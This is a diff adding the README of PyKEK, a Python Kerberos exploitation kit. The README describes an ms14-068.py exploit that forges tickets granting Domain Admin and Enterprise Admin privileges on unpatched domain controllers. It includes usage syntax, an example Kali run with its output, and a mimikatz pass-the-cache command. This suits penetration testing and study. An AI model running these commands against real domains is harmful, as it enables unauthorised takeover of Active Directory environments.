|
| 1 | +Python Kerberos Exploitation Kit |
| 2 | +=== |
| 3 | + |
| 4 | +PyKEK (Python Kerberos Exploitation Kit), a python library to manipulate KRB5-related data. (Still in development) |
| 5 | + |
| 6 | +For now, only a few functionalities have been implemented (in a quite Quick'n'Dirty way) to exploit MS14-068 (CVE-2014-6324) . |
| 7 | + |
| 8 | +More is coming... |
| 9 | + |
| 10 | +# Author |
| 11 | +Sylvain Monné |
| 12 | + |
| 13 | +Contact : sylvain dot monne at solucom dot fr |
| 14 | + |
| 15 | +http://twitter.com/bidord |
| 16 | + |
| 17 | +Special thanks to: Benjamin DELPY `gentilkiwi` |
| 18 | + |
| 19 | +# Library content |
| 20 | +* kek.krb5: Kerberos V5 ([RFC 4120](https://tools.ietf.org/html/rfc4120)) ASN.1 structures and basic protocol functions |
| 21 | +* kek.ccache: Credential Cache Binary Format ([cchache](http://www.gnu.org/software/shishi/manual/html_node/The-Credential-Cache-Binary-File-Format.html)) |
| 22 | +* kek.pac: Microsoft Privilege Attribute Certificate Data Structure ([MS-PAC](http://msdn.microsoft.com/en-us/library/cc237917.aspx)) |
| 23 | +* kek.crypto: Kerberos and MS specific cryptographic functions |
| 24 | + |
| 25 | +# Exploits |
| 26 | +## ms14-068.py |
| 27 | +Exploits [MS14-680](https://technet.microsoft.com/en-us/library/security/ms14-068.aspx) vulnerability on an un-patched domain controler of an Active Directory domain to get a Kerberos ticket for an existing domain user account with the privileges of the following domain groups : |
| 28 | +- Domain Users (513) |
| 29 | +- Domain Admins (512) |
| 30 | +- Schema Admins (518) |
| 31 | +- Enterprise Admins (519) |
| 32 | +- Group Policy Creator Owners (520) |
| 33 | + |
| 34 | +### Usage : |
| 35 | +``` |
| 36 | +USAGE: |
| 37 | +ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr> |
| 38 | +
|
| 39 | +OPTIONS: |
| 40 | + -p <clearPassword> |
| 41 | + --rc4 <ntlmHash> |
| 42 | +``` |
| 43 | +### Example usage : |
| 44 | +#### Linux (tested with samba and MIT Kerberos) |
| 45 | +``` |
| 46 | +root@kali:~/sploit/pykek# python ms14-068.py -u [email protected] -s S-1-5-21-557603841-771695929-1514560438-1103 -d dc-a-2003.dom-a.loc |
| 47 | +Password: |
| 48 | + [+] Building AS-REQ for dc-a-2003.dom-a.loc... Done! |
| 49 | + [+] Sending AS-REQ to dc-a-2003.dom-a.loc... Done! |
| 50 | + [+] Receiving AS-REP from dc-a-2003.dom-a.loc... Done! |
| 51 | + [+] Parsing AS-REP from dc-a-2003.dom-a.loc... Done! |
| 52 | + [+] Building TGS-REQ for dc-a-2003.dom-a.loc... Done! |
| 53 | + [+] Sending TGS-REQ to dc-a-2003.dom-a.loc... Done! |
| 54 | + [+] Receiving TGS-REP from dc-a-2003.dom-a.loc... Done! |
| 55 | + [+] Parsing TGS-REP from dc-a-2003.dom-a.loc... Done! |
| 56 | + [+] Creating ccache file '[email protected]'... Done! |
| 57 | +root@kali:~/sploit/pykek# mv [email protected] /tmp/krb5cc_0 |
| 58 | +``` |
| 59 | +#### On Windows |
| 60 | + |
| 61 | +``` |
| 62 | +python.exe ms14-068.py -u [email protected] -s S-1-5-21-557603841-771695929-1514560438-1103 -d dc-a-2003.dom-a.loc |
| 63 | +mimikatz.exe "kerberos::ptc [email protected]" exit` |
| 64 | +``` |
0 commit comments